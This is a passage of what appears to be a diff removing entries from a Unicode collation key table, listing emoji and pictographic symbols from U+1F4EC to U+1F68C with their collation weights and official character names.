-1F4EC ; [*146F.0020.0002] # OPEN MAILBOX WITH RAISED FLAG
-1F4ED ; [*1470.0020.0002] # OPEN MAILBOX WITH LOWERED FLAG
-1F4EE ; [*1471.0020.0002] # POSTBOX
-1F4EF ; [*1472.0020.0002] # POSTAL HORN
-1F4F0 ; [*1473.0020.0002] # NEWSPAPER
-1F4F1 ; [*1474.0020.0002] # MOBILE PHONE
-1F4F2 ; [*1475.0020.0002] # MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT
-1F4F3 ; [*1476.0020.0002] # VIBRATION MODE
-1F4F4 ; [*1477.0020.0002] # MOBILE PHONE OFF
-1F4F5 ; [*1478.0020.0002] # NO MOBILE PHONES
-1F4F6 ; [*1479.0020.0002] # ANTENNA WITH BARS
-1F4F7 ; [*147A.0020.0002] # CAMERA
-1F4F8 ; [*147B.0020.0002] # CAMERA WITH FLASH
-1F4F9 ; [*147C.0020.0002] # VIDEO CAMERA
-1F4FA ; [*147D.0020.0002] # TELEVISION
-1F4FB ; [*147E.0020.0002] # RADIO
-1F4FC ; [*147F.0020.0002] # VIDEOCASSETTE
-1F4FD ; [*1480.0020.0002] # FILM PROJECTOR
-1F4FE ; [*1481.0020.0002] # PORTABLE STEREO
-1F4FF ; [*1482.0020.0002] # PRAYER BEADS
-1F500 ; [*1483.0020.0002] # TWISTED RIGHTWARDS ARROWS
-1F501 ; [*1484.0020.0002] # CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS
-1F502 ; [*1485.0020.0002] # CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY
-1F503 ; [*1486.0020.0002] # CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
-1F504 ; [*1487.0020.0002] # ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
-1F505 ; [*1488.0020.0002] # LOW BRIGHTNESS SYMBOL
-1F506 ; [*1489.0020.0002] # HIGH BRIGHTNESS SYMBOL
-1F507 ; [*148A.0020.0002] # SPEAKER WITH CANCELLATION STROKE
-1F508 ; [*148B.0020.0002] # SPEAKER
-1F509 ; [*148C.0020.0002] # SPEAKER WITH ONE SOUND WAVE
-1F50A ; [*148D.0020.0002] # SPEAKER WITH THREE SOUND WAVES
-1F50B ; [*148E.0020.0002] # BATTERY
-1F50C ; [*148F.0020.0002] # ELECTRIC PLUG
-1F50D ; [*1490.0020.0002] # LEFT-POINTING MAGNIFYING GLASS
-1F50E ; [*1491.0020.0002] # RIGHT-POINTING MAGNIFYING GLASS
-1F50F ; [*1492.0020.0002] # LOCK WITH INK PEN
-1F510 ; [*1493.0020.0002] # CLOSED LOCK WITH KEY
-1F511 ; [*1494.0020.0002] # KEY
-1F512 ; [*1495.0020.0002] # LOCK
-1F513 ; [*1496.0020.0002] # OPEN LOCK
-1F514 ; [*1497.0020.0002] # BELL
-1F515 ; [*1498.0020.0002] # BELL WITH CANCELLATION STROKE
-1F516 ; [*1499.0020.0002] # BOOKMARK
-1F517 ; [*149A.0020.0002] # LINK SYMBOL
-1F518 ; [*149B.0020.0002] # RADIO BUTTON
-1F519 ; [*149C.0020.0002] # BACK WITH LEFTWARDS ARROW ABOVE
-1F51A ; [*149D.0020.0002] # END WITH LEFTWARDS ARROW ABOVE
-1F51B ; [*149E.0020.0002] # ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE
-1F51C ; [*149F.0020.0002] # SOON WITH RIGHTWARDS ARROW ABOVE
-1F51D ; [*14A0.0020.0002] # TOP WITH UPWARDS ARROW ABOVE
-1F51E ; [*14A1.0020.0002] # NO ONE UNDER EIGHTEEN SYMBOL
-1F51F ; [*14A2.0020.0002] # KEYCAP TEN
-1F520 ; [*14A3.0020.0002] # INPUT SYMBOL FOR LATIN CAPITAL LETTERS
-1F521 ; [*14A4.0020.0002] # INPUT SYMBOL FOR LATIN SMALL LETTERS
-1F522 ; [*14A5.0020.0002] # INPUT SYMBOL FOR NUMBERS
-1F523 ; [*14A6.0020.0002] # INPUT SYMBOL FOR SYMBOLS
-1F524 ; [*14A7.0020.0002] # INPUT SYMBOL FOR LATIN LETTERS
-1F525 ; [*14A8.0020.0002] # FIRE
-1F526 ; [*14A9.0020.0002] # ELECTRIC TORCH
-1F527 ; [*14AA.0020.0002] # WRENCH
-1F528 ; [*14AB.0020.0002] # HAMMER
-1F529 ; [*14AC.0020.0002] # NUT AND BOLT
-1F52A ; [*14AD.0020.0002] # HOCHO
-1F52B ; [*14AE.0020.0002] # PISTOL
-1F52C ; [*14AF.0020.0002] # MICROSCOPE
-1F52D ; [*14B0.0020.0002] # TELESCOPE
-1F52E ; [*14B1.0020.0002] # CRYSTAL BALL
-1F52F ; [*14B2.0020.0002] # SIX POINTED STAR WITH MIDDLE DOT
-1F530 ; [*14B3.0020.0002] # JAPANESE SYMBOL FOR BEGINNER
-1F531 ; [*14B4.0020.0002] # TRIDENT EMBLEM
-1F532 ; [*14B5.0020.0002] # BLACK SQUARE BUTTON
-1F533 ; [*14B6.0020.0002] # WHITE SQUARE BUTTON
-1F534 ; [*14B7.0020.0002] # LARGE RED CIRCLE
-1F535 ; [*14B8.0020.0002] # LARGE BLUE CIRCLE
-1F536 ; [*14B9.0020.0002] # LARGE ORANGE DIAMOND
-1F537 ; [*14BA.0020.0002] # LARGE BLUE DIAMOND
-1F538 ; [*14BB.0020.0002] # SMALL ORANGE DIAMOND
-1F539 ; [*14BC.0020.0002] # SMALL BLUE DIAMOND
-1F53A ; [*14BD.0020.0002] # UP-POINTING RED TRIANGLE
-1F53B ; [*14BE.0020.0002] # DOWN-POINTING RED TRIANGLE
-1F53C ; [*14BF.0020.0002] # UP-POINTING SMALL RED TRIANGLE
-1F53D ; [*14C0.0020.0002] # DOWN-POINTING SMALL RED TRIANGLE
-1F53E ; [*14C1.0020.0002] # LOWER RIGHT SHADOWED WHITE CIRCLE
-1F53F ; [*14C2.0020.0002] # UPPER RIGHT SHADOWED WHITE CIRCLE
-1F540 ; [*14C3.0020.0002] # CIRCLED CROSS POMMEE
-1F541 ; [*14C4.0020.0002] # CROSS POMMEE WITH HALF-CIRCLE BELOW
-1F542 ; [*14C5.0020.0002] # CROSS POMMEE
-1F543 ; [*14C6.0020.0002] # NOTCHED LEFT SEMICIRCLE WITH THREE DOTS
-1F544 ; [*14C7.0020.0002] # NOTCHED RIGHT SEMICIRCLE WITH THREE DOTS
-1F545 ; [*14C8.0020.0002] # SYMBOL FOR MARKS CHAPTER
-1F546 ; [*14C9.0020.0002] # WHITE LATIN CROSS
-1F547 ; [*14CA.0020.0002] # HEAVY LATIN CROSS
-1F548 ; [*14CB.0020.0002] # CELTIC CROSS
-1F549 ; [*14CC.0020.0002] # OM SYMBOL
-1F54A ; [*14CD.0020.0002] # DOVE OF PEACE
-1F54B ; [*14CE.0020.0002] # KAABA
-1F54C ; [*14CF.0020.0002] # MOSQUE
-1F54D ; [*14D0.0020.0002] # SYNAGOGUE
-1F54E ; [*14D1.0020.0002] # MENORAH WITH NINE BRANCHES
-1F54F ; [*14D2.0020.0002] # BOWL OF HYGIEIA
-1F550 ; [*14D3.0020.0002] # CLOCK FACE ONE OCLOCK
-1F551 ; [*14D4.0020.0002] # CLOCK FACE TWO OCLOCK
-1F552 ; [*14D5.0020.0002] # CLOCK FACE THREE OCLOCK
-1F553 ; [*14D6.0020.0002] # CLOCK FACE FOUR OCLOCK
-1F554 ; [*14D7.0020.0002] # CLOCK FACE FIVE OCLOCK
-1F555 ; [*14D8.0020.0002] # CLOCK FACE SIX OCLOCK
-1F556 ; [*14D9.0020.0002] # CLOCK FACE SEVEN OCLOCK
-1F557 ; [*14DA.0020.0002] # CLOCK FACE EIGHT OCLOCK
-1F558 ; [*14DB.0020.0002] # CLOCK FACE NINE OCLOCK
-1F559 ; [*14DC.0020.0002] # CLOCK FACE TEN OCLOCK
-1F55A ; [*14DD.0020.0002] # CLOCK FACE ELEVEN OCLOCK
-1F55B ; [*14DE.0020.0002] # CLOCK FACE TWELVE OCLOCK
-1F55C ; [*14DF.0020.0002] # CLOCK FACE ONE-THIRTY
-1F55D ; [*14E0.0020.0002] # CLOCK FACE TWO-THIRTY
-1F55E ; [*14E1.0020.0002] # CLOCK FACE THREE-THIRTY
-1F55F ; [*14E2.0020.0002] # CLOCK FACE FOUR-THIRTY
-1F560 ; [*14E3.0020.0002] # CLOCK FACE FIVE-THIRTY
-1F561 ; [*14E4.0020.0002] # CLOCK FACE SIX-THIRTY
-1F562 ; [*14E5.0020.0002] # CLOCK FACE SEVEN-THIRTY
-1F563 ; [*14E6.0020.0002] # CLOCK FACE EIGHT-THIRTY
-1F564 ; [*14E7.0020.0002] # CLOCK FACE NINE-THIRTY
-1F565 ; [*14E8.0020.0002] # CLOCK FACE TEN-THIRTY
-1F566 ; [*14E9.0020.0002] # CLOCK FACE ELEVEN-THIRTY
-1F567 ; [*14EA.0020.0002] # CLOCK FACE TWELVE-THIRTY
-1F568 ; [*14EB.0020.0002] # RIGHT SPEAKER
-1F569 ; [*14EC.0020.0002] # RIGHT SPEAKER WITH ONE SOUND WAVE
-1F56A ; [*14ED.0020.0002] # RIGHT SPEAKER WITH THREE SOUND WAVES
-1F56B ; [*14EE.0020.0002] # BULLHORN
-1F56C ; [*14EF.0020.0002] # BULLHORN WITH SOUND WAVES
-1F56D ; [*14F0.0020.0002] # RINGING BELL
-1F56E ; [*14F1.0020.0002] # BOOK
-1F56F ; [*14F2.0020.0002] # CANDLE
-1F570 ; [*14F3.0020.0002] # MANTELPIECE CLOCK
-1F571 ; [*14F4.0020.0002] # BLACK SKULL AND CROSSBONES
-1F572 ; [*14F5.0020.0002] # NO PIRACY
-1F573 ; [*14F6.0020.0002] # HOLE
-1F574 ; [*14F7.0020.0002] # MAN IN BUSINESS SUIT LEVITATING
-1F575 ; [*14F8.0020.0002] # SLEUTH OR SPY
-1F576 ; [*14F9.0020.0002] # DARK SUNGLASSES
-1F577 ; [*14FA.0020.0002] # SPIDER
-1F578 ; [*14FB.0020.0002] # SPIDER WEB
-1F579 ; [*14FC.0020.0002] # JOYSTICK
-1F57B ; [*14FD.0020.0002] # LEFT HAND TELEPHONE RECEIVER
-1F57C ; [*14FE.0020.0002] # TELEPHONE RECEIVER WITH PAGE
-1F57D ; [*14FF.0020.0002] # RIGHT HAND TELEPHONE RECEIVER
-1F57E ; [*1500.0020.0002] # WHITE TOUCHTONE TELEPHONE
-1F57F ; [*1501.0020.0002] # BLACK TOUCHTONE TELEPHONE
-1F580 ; [*1502.0020.0002] # TELEPHONE ON TOP OF MODEM
-1F581 ; [*1503.0020.0002] # CLAMSHELL MOBILE PHONE
-1F582 ; [*1504.0020.0002] # BACK OF ENVELOPE
-1F583 ; [*1505.0020.0002] # STAMPED ENVELOPE
-1F584 ; [*1506.0020.0002] # ENVELOPE WITH LIGHTNING
-1F585 ; [*1507.0020.0002] # FLYING ENVELOPE
-1F586 ; [*1508.0020.0002] # PEN OVER STAMPED ENVELOPE
-1F587 ; [*1509.0020.0002] # LINKED PAPERCLIPS
-1F588 ; [*150A.0020.0002] # BLACK PUSHPIN
-1F589 ; [*150B.0020.0002] # LOWER LEFT PENCIL
-1F58A ; [*150C.0020.0002] # LOWER LEFT BALLPOINT PEN
-1F58B ; [*150D.0020.0002] # LOWER LEFT FOUNTAIN PEN
-1F58C ; [*150E.0020.0002] # LOWER LEFT PAINTBRUSH
-1F58D ; [*150F.0020.0002] # LOWER LEFT CRAYON
-1F58E ; [*1510.0020.0002] # LEFT WRITING HAND
-1F58F ; [*1511.0020.0002] # TURNED OK HAND SIGN
-1F590 ; [*1512.0020.0002] # RAISED HAND WITH FINGERS SPLAYED
-1F591 ; [*1513.0020.0002] # REVERSED RAISED HAND WITH FINGERS SPLAYED
-1F592 ; [*1514.0020.0002] # REVERSED THUMBS UP SIGN
-1F593 ; [*1515.0020.0002] # REVERSED THUMBS DOWN SIGN
-1F594 ; [*1516.0020.0002] # REVERSED VICTORY HAND
-1F595 ; [*1517.0020.0002] # REVERSED HAND WITH MIDDLE FINGER EXTENDED
-1F596 ; [*1518.0020.0002] # RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
-1F597 ; [*1519.0020.0002] # WHITE DOWN POINTING LEFT HAND INDEX
-1F598 ; [*151A.0020.0002] # SIDEWAYS WHITE LEFT POINTING INDEX
-1F599 ; [*151B.0020.0002] # SIDEWAYS WHITE RIGHT POINTING INDEX
-1F59A ; [*151C.0020.0002] # SIDEWAYS BLACK LEFT POINTING INDEX
-1F59B ; [*151D.0020.0002] # SIDEWAYS BLACK RIGHT POINTING INDEX
-1F59C ; [*151E.0020.0002] # BLACK LEFT POINTING BACKHAND INDEX
-1F59D ; [*151F.0020.0002] # BLACK RIGHT POINTING BACKHAND INDEX
-1F59E ; [*1520.0020.0002] # SIDEWAYS WHITE UP POINTING INDEX
-1F59F ; [*1521.0020.0002] # SIDEWAYS WHITE DOWN POINTING INDEX
-1F5A0 ; [*1522.0020.0002] # SIDEWAYS BLACK UP POINTING INDEX
-1F5A1 ; [*1523.0020.0002] # SIDEWAYS BLACK DOWN POINTING INDEX
-1F5A2 ; [*1524.0020.0002] # BLACK UP POINTING BACKHAND INDEX
-1F5A3 ; [*1525.0020.0002] # BLACK DOWN POINTING BACKHAND INDEX
-1F5A5 ; [*1526.0020.0002] # DESKTOP COMPUTER
-1F5A6 ; [*1527.0020.0002] # KEYBOARD AND MOUSE
-1F5A7 ; [*1528.0020.0002] # THREE NETWORKED COMPUTERS
-1F5A8 ; [*1529.0020.0002] # PRINTER
-1F5A9 ; [*152A.0020.0002] # POCKET CALCULATOR
-1F5AA ; [*152B.0020.0002] # BLACK HARD SHELL FLOPPY DISK
-1F5AB ; [*152C.0020.0002] # WHITE HARD SHELL FLOPPY DISK
-1F5AC ; [*152D.0020.0002] # SOFT SHELL FLOPPY DISK
-1F5AD ; [*152E.0020.0002] # TAPE CARTRIDGE
-1F5AE ; [*152F.0020.0002] # WIRED KEYBOARD
-1F5AF ; [*1530.0020.0002] # ONE BUTTON MOUSE
-1F5B0 ; [*1531.0020.0002] # TWO BUTTON MOUSE
-1F5B1 ; [*1532.0020.0002] # THREE BUTTON MOUSE
-1F5B2 ; [*1533.0020.0002] # TRACKBALL
-1F5B3 ; [*1534.0020.0002] # OLD PERSONAL COMPUTER
-1F5B4 ; [*1535.0020.0002] # HARD DISK
-1F5B5 ; [*1536.0020.0002] # SCREEN
-1F5B6 ; [*1537.0020.0002] # PRINTER ICON
-1F5B7 ; [*1538.0020.0002] # FAX ICON
-1F5B8 ; [*1539.0020.0002] # OPTICAL DISC ICON
-1F5B9 ; [*153A.0020.0002] # DOCUMENT WITH TEXT
-1F5BA ; [*153B.0020.0002] # DOCUMENT WITH TEXT AND PICTURE
-1F5BB ; [*153C.0020.0002] # DOCUMENT WITH PICTURE
-1F5BC ; [*153D.0020.0002] # FRAME WITH PICTURE
-1F5BD ; [*153E.0020.0002] # FRAME WITH TILES
-1F5BE ; [*153F.0020.0002] # FRAME WITH AN X
-1F5BF ; [*1540.0020.0002] # BLACK FOLDER
-1F5C0 ; [*1541.0020.0002] # FOLDER
-1F5C1 ; [*1542.0020.0002] # OPEN FOLDER
-1F5C2 ; [*1543.0020.0002] # CARD INDEX DIVIDERS
-1F5C3 ; [*1544.0020.0002] # CARD FILE BOX
-1F5C4 ; [*1545.0020.0002] # FILE CABINET
-1F5C5 ; [*1546.0020.0002] # EMPTY NOTE
-1F5C6 ; [*1547.0020.0002] # EMPTY NOTE PAGE
-1F5C7 ; [*1548.0020.0002] # EMPTY NOTE PAD
-1F5C8 ; [*1549.0020.0002] # NOTE
-1F5C9 ; [*154A.0020.0002] # NOTE PAGE
-1F5CA ; [*154B.0020.0002] # NOTE PAD
-1F5CB ; [*154C.0020.0002] # EMPTY DOCUMENT
-1F5CC ; [*154D.0020.0002] # EMPTY PAGE
-1F5CD ; [*154E.0020.0002] # EMPTY PAGES
-1F5CE ; [*154F.0020.0002] # DOCUMENT
-1F5CF ; [*1550.0020.0002] # PAGE
-1F5D0 ; [*1551.0020.0002] # PAGES
-1F5D1 ; [*1552.0020.0002] # WASTEBASKET
-1F5D2 ; [*1553.0020.0002] # SPIRAL NOTE PAD
-1F5D3 ; [*1554.0020.0002] # SPIRAL CALENDAR PAD
-1F5D4 ; [*1555.0020.0002] # DESKTOP WINDOW
-1F5D5 ; [*1556.0020.0002] # MINIMIZE
-1F5D6 ; [*1557.0020.0002] # MAXIMIZE
-1F5D7 ; [*1558.0020.0002] # OVERLAP
-1F5D8 ; [*1559.0020.0002] # CLOCKWISE RIGHT AND LEFT SEMICIRCLE ARROWS
-1F5D9 ; [*155A.0020.0002] # CANCELLATION X
-1F5DA ; [*155B.0020.0002] # INCREASE FONT SIZE SYMBOL
-1F5DB ; [*155C.0020.0002] # DECREASE FONT SIZE SYMBOL
-1F5DC ; [*155D.0020.0002] # COMPRESSION
-1F5DD ; [*155E.0020.0002] # OLD KEY
-1F5DE ; [*155F.0020.0002] # ROLLED-UP NEWSPAPER
-1F5DF ; [*1560.0020.0002] # PAGE WITH CIRCLED TEXT
-1F5E0 ; [*1561.0020.0002] # STOCK CHART
-1F5E1 ; [*1562.0020.0002] # DAGGER KNIFE
-1F5E2 ; [*1563.0020.0002] # LIPS
-1F5E3 ; [*1564.0020.0002] # SPEAKING HEAD IN SILHOUETTE
-1F5E4 ; [*1565.0020.0002] # THREE RAYS ABOVE
-1F5E5 ; [*1566.0020.0002] # THREE RAYS BELOW
-1F5E6 ; [*1567.0020.0002] # THREE RAYS LEFT
-1F5E7 ; [*1568.0020.0002] # THREE RAYS RIGHT
-1F5E8 ; [*1569.0020.0002] # LEFT SPEECH BUBBLE
-1F5E9 ; [*156A.0020.0002] # RIGHT SPEECH BUBBLE
-1F5EA ; [*156B.0020.0002] # TWO SPEECH BUBBLES
-1F5EB ; [*156C.0020.0002] # THREE SPEECH BUBBLES
-1F5EC ; [*156D.0020.0002] # LEFT THOUGHT BUBBLE
-1F5ED ; [*156E.0020.0002] # RIGHT THOUGHT BUBBLE
-1F5EE ; [*156F.0020.0002] # LEFT ANGER BUBBLE
-1F5EF ; [*1570.0020.0002] # RIGHT ANGER BUBBLE
-1F5F0 ; [*1571.0020.0002] # MOOD BUBBLE
-1F5F1 ; [*1572.0020.0002] # LIGHTNING MOOD BUBBLE
-1F5F2 ; [*1573.0020.0002] # LIGHTNING MOOD
-1F5F3 ; [*1574.0020.0002] # BALLOT BOX WITH BALLOT
-1F5F4 ; [*1575.0020.0002] # BALLOT SCRIPT X
-1F5F5 ; [*1576.0020.0002] # BALLOT BOX WITH SCRIPT X
-1F5F6 ; [*1577.0020.0002] # BALLOT BOLD SCRIPT X
-1F5F7 ; [*1578.0020.0002] # BALLOT BOX WITH BOLD SCRIPT X
-1F5F8 ; [*1579.0020.0002] # LIGHT CHECK MARK
-1F5F9 ; [*157A.0020.0002] # BALLOT BOX WITH BOLD CHECK
-1F5FA ; [*157B.0020.0002] # WORLD MAP
-1F5FB ; [*157C.0020.0002] # MOUNT FUJI
-1F5FC ; [*157D.0020.0002] # TOKYO TOWER
-1F5FD ; [*157E.0020.0002] # STATUE OF LIBERTY
-1F5FE ; [*157F.0020.0002] # SILHOUETTE OF JAPAN
-1F5FF ; [*1580.0020.0002] # MOYAI
-1F600 ; [*1590.0020.0002] # GRINNING FACE
-1F601 ; [*1591.0020.0002] # GRINNING FACE WITH SMILING EYES
-1F602 ; [*1592.0020.0002] # FACE WITH TEARS OF JOY
-1F603 ; [*1593.0020.0002] # SMILING FACE WITH OPEN MOUTH
-1F604 ; [*1594.0020.0002] # SMILING FACE WITH OPEN MOUTH AND SMILING EYES
-1F605 ; [*1595.0020.0002] # SMILING FACE WITH OPEN MOUTH AND COLD SWEAT
-1F606 ; [*1596.0020.0002] # SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES
-1F607 ; [*1597.0020.0002] # SMILING FACE WITH HALO
-1F608 ; [*1598.0020.0002] # SMILING FACE WITH HORNS
-1F609 ; [*1599.0020.0002] # WINKING FACE
-1F60A ; [*159A.0020.0002] # SMILING FACE WITH SMILING EYES
-1F60B ; [*159B.0020.0002] # FACE SAVOURING DELICIOUS FOOD
-1F60C ; [*159C.0020.0002] # RELIEVED FACE
-1F60D ; [*159D.0020.0002] # SMILING FACE WITH HEART-SHAPED EYES
-1F60E ; [*159E.0020.0002] # SMILING FACE WITH SUNGLASSES
-1F60F ; [*159F.0020.0002] # SMIRKING FACE
-1F610 ; [*15A0.0020.0002] # NEUTRAL FACE
-1F611 ; [*15A1.0020.0002] # EXPRESSIONLESS FACE
-1F612 ; [*15A2.0020.0002] # UNAMUSED FACE
-1F613 ; [*15A3.0020.0002] # FACE WITH COLD SWEAT
-1F614 ; [*15A4.0020.0002] # PENSIVE FACE
-1F615 ; [*15A5.0020.0002] # CONFUSED FACE
-1F616 ; [*15A6.0020.0002] # CONFOUNDED FACE
-1F617 ; [*15A7.0020.0002] # KISSING FACE
-1F618 ; [*15A8.0020.0002] # FACE THROWING A KISS
-1F619 ; [*15A9.0020.0002] # KISSING FACE WITH SMILING EYES
-1F61A ; [*15AA.0020.0002] # KISSING FACE WITH CLOSED EYES
-1F61B ; [*15AB.0020.0002] # FACE WITH STUCK-OUT TONGUE
-1F61C ; [*15AC.0020.0002] # FACE WITH STUCK-OUT TONGUE AND WINKING EYE
-1F61D ; [*15AD.0020.0002] # FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES
-1F61E ; [*15AE.0020.0002] # DISAPPOINTED FACE
-1F61F ; [*15AF.0020.0002] # WORRIED FACE
-1F620 ; [*15B0.0020.0002] # ANGRY FACE
-1F621 ; [*15B1.0020.0002] # POUTING FACE
-1F622 ; [*15B2.0020.0002] # CRYING FACE
-1F623 ; [*15B3.0020.0002] # PERSEVERING FACE
-1F624 ; [*15B4.0020.0002] # FACE WITH LOOK OF TRIUMPH
-1F625 ; [*15B5.0020.0002] # DISAPPOINTED BUT RELIEVED FACE
-1F626 ; [*15B6.0020.0002] # FROWNING FACE WITH OPEN MOUTH
-1F627 ; [*15B7.0020.0002] # ANGUISHED FACE
-1F628 ; [*15B8.0020.0002] # FEARFUL FACE
-1F629 ; [*15B9.0020.0002] # WEARY FACE
-1F62A ; [*15BA.0020.0002] # SLEEPY FACE
-1F62B ; [*15BB.0020.0002] # TIRED FACE
-1F62C ; [*15BC.0020.0002] # GRIMACING FACE
-1F62D ; [*15BD.0020.0002] # LOUDLY CRYING FACE
-1F62E ; [*15BE.0020.0002] # FACE WITH OPEN MOUTH
-1F62F ; [*15BF.0020.0002] # HUSHED FACE
-1F630 ; [*15C0.0020.0002] # FACE WITH OPEN MOUTH AND COLD SWEAT
-1F631 ; [*15C1.0020.0002] # FACE SCREAMING IN FEAR
-1F632 ; [*15C2.0020.0002] # ASTONISHED FACE
-1F633 ; [*15C3.0020.0002] # FLUSHED FACE
-1F634 ; [*15C4.0020.0002] # SLEEPING FACE
-1F635 ; [*15C5.0020.0002] # DIZZY FACE
-1F636 ; [*15C6.0020.0002] # FACE WITHOUT MOUTH
-1F637 ; [*15C7.0020.0002] # FACE WITH MEDICAL MASK
-1F638 ; [*15C8.0020.0002] # GRINNING CAT FACE WITH SMILING EYES
-1F639 ; [*15C9.0020.0002] # CAT FACE WITH TEARS OF JOY
-1F63A ; [*15CA.0020.0002] # SMILING CAT FACE WITH OPEN MOUTH
-1F63B ; [*15CB.0020.0002] # SMILING CAT FACE WITH HEART-SHAPED EYES
-1F63C ; [*15CC.0020.0002] # CAT FACE WITH WRY SMILE
-1F63D ; [*15CD.0020.0002] # KISSING CAT FACE WITH CLOSED EYES
-1F63E ; [*15CE.0020.0002] # POUTING CAT FACE
-1F63F ; [*15CF.0020.0002] # CRYING CAT FACE
-1F640 ; [*15D0.0020.0002] # WEARY CAT FACE
-1F641 ; [*15D1.0020.0002] # SLIGHTLY FROWNING FACE
-1F642 ; [*15D2.0020.0002] # SLIGHTLY SMILING FACE
-1F643 ; [*15D3.0020.0002] # UPSIDE-DOWN FACE
-1F644 ; [*15D4.0020.0002] # FACE WITH ROLLING EYES
-1F645 ; [*15D5.0020.0002] # FACE WITH NO GOOD GESTURE
-1F646 ; [*15D6.0020.0002] # FACE WITH OK GESTURE
-1F647 ; [*15D7.0020.0002] # PERSON BOWING DEEPLY
-1F648 ; [*15D8.0020.0002] # SEE-NO-EVIL MONKEY
-1F649 ; [*15D9.0020.0002] # HEAR-NO-EVIL MONKEY
-1F64A ; [*15DA.0020.0002] # SPEAK-NO-EVIL MONKEY
-1F64B ; [*15DB.0020.0002] # HAPPY PERSON RAISING ONE HAND
-1F64C ; [*15DC.0020.0002] # PERSON RAISING BOTH HANDS IN CELEBRATION
-1F64D ; [*15DD.0020.0002] # PERSON FROWNING
-1F64E ; [*15DE.0020.0002] # PERSON WITH POUTING FACE
-1F64F ; [*15DF.0020.0002] # PERSON WITH FOLDED HANDS
-1F650 ; [*15E0.0020.0002] # NORTH WEST POINTING LEAF
-1F651 ; [*15E1.0020.0002] # SOUTH WEST POINTING LEAF
-1F652 ; [*15E2.0020.0002] # NORTH EAST POINTING LEAF
-1F653 ; [*15E3.0020.0002] # SOUTH EAST POINTING LEAF
-1F654 ; [*15E4.0020.0002] # TURNED NORTH WEST POINTING LEAF
-1F655 ; [*15E5.0020.0002] # TURNED SOUTH WEST POINTING LEAF
-1F656 ; [*15E6.0020.0002] # TURNED NORTH EAST POINTING LEAF
-1F657 ; [*15E7.0020.0002] # TURNED SOUTH EAST POINTING LEAF
-1F658 ; [*15E8.0020.0002] # NORTH WEST POINTING VINE LEAF
-1F659 ; [*15E9.0020.0002] # SOUTH WEST POINTING VINE LEAF
-1F65A ; [*15EA.0020.0002] # NORTH EAST POINTING VINE LEAF
-1F65B ; [*15EB.0020.0002] # SOUTH EAST POINTING VINE LEAF
-1F65C ; [*15EC.0020.0002] # HEAVY NORTH WEST POINTING VINE LEAF
-1F65D ; [*15ED.0020.0002] # HEAVY SOUTH WEST POINTING VINE LEAF
-1F65E ; [*15EE.0020.0002] # HEAVY NORTH EAST POINTING VINE LEAF
-1F65F ; [*15EF.0020.0002] # HEAVY SOUTH EAST POINTING VINE LEAF
-1F660 ; [*15F0.0020.0002] # NORTH WEST POINTING BUD
-1F661 ; [*15F1.0020.0002] # SOUTH WEST POINTING BUD
-1F662 ; [*15F2.0020.0002] # NORTH EAST POINTING BUD
-1F663 ; [*15F3.0020.0002] # SOUTH EAST POINTING BUD
-1F664 ; [*15F4.0020.0002] # HEAVY NORTH WEST POINTING BUD
-1F665 ; [*15F5.0020.0002] # HEAVY SOUTH WEST POINTING BUD
-1F666 ; [*15F6.0020.0002] # HEAVY NORTH EAST POINTING BUD
-1F667 ; [*15F7.0020.0002] # HEAVY SOUTH EAST POINTING BUD
-1F668 ; [*15F8.0020.0002] # HOLLOW QUILT SQUARE ORNAMENT
-1F669 ; [*15F9.0020.0002] # HOLLOW QUILT SQUARE ORNAMENT IN BLACK SQUARE
-1F66A ; [*15FA.0020.0002] # SOLID QUILT SQUARE ORNAMENT
-1F66B ; [*15FB.0020.0002] # SOLID QUILT SQUARE ORNAMENT IN BLACK SQUARE
-1F66C ; [*15FC.0020.0002] # LEFTWARDS ROCKET
-1F66D ; [*15FD.0020.0002] # UPWARDS ROCKET
-1F66E ; [*15FE.0020.0002] # RIGHTWARDS ROCKET
-1F66F ; [*15FF.0020.0002] # DOWNWARDS ROCKET
-1F670 ; [*1600.0020.0002] # SCRIPT LIGATURE ET ORNAMENT
-1F671 ; [*1601.0020.0002] # HEAVY SCRIPT LIGATURE ET ORNAMENT
-1F672 ; [*1602.0020.0002] # LIGATURE OPEN ET ORNAMENT
-1F673 ; [*1603.0020.0002] # HEAVY LIGATURE OPEN ET ORNAMENT
-1F674 ; [*1604.0020.0002] # HEAVY AMPERSAND ORNAMENT
-1F675 ; [*1605.0020.0002] # SWASH AMPERSAND ORNAMENT
-1F676 ; [*1606.0020.0002] # SANS-SERIF HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT
-1F677 ; [*1607.0020.0002] # SANS-SERIF HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT
-1F678 ; [*1608.0020.0002] # SANS-SERIF HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT
-1F679 ; [*1609.0020.0002] # HEAVY INTERROBANG ORNAMENT
-1F67A ; [*160A.0020.0002] # SANS-SERIF INTERROBANG ORNAMENT
-1F67B ; [*160B.0020.0002] # HEAVY SANS-SERIF INTERROBANG ORNAMENT
-1F67C ; [*160C.0020.0002] # VERY HEAVY SOLIDUS
-1F67D ; [*160D.0020.0002] # VERY HEAVY REVERSE SOLIDUS
-1F67E ; [*160E.0020.0002] # CHECKER BOARD
-1F67F ; [*160F.0020.0002] # REVERSE CHECKER BOARD
-1F680 ; [*1610.0020.0002] # ROCKET
-1F681 ; [*1611.0020.0002] # HELICOPTER
-1F682 ; [*1612.0020.0002] # STEAM LOCOMOTIVE
-1F683 ; [*1613.0020.0002] # RAILWAY CAR
-1F684 ; [*1614.0020.0002] # HIGH-SPEED TRAIN
-1F685 ; [*1615.0020.0002] # HIGH-SPEED TRAIN WITH BULLET NOSE
-1F686 ; [*1616.0020.0002] # TRAIN
-1F687 ; [*1617.0020.0002] # METRO
-1F688 ; [*1618.0020.0002] # LIGHT RAIL
-1F689 ; [*1619.0020.0002] # STATION
-1F68A ; [*161A.0020.0002] # TRAM
-1F68B ; [*161B.0020.0002] # TRAM CAR
-1F68C ; [*161C.0020.0002] # BUS
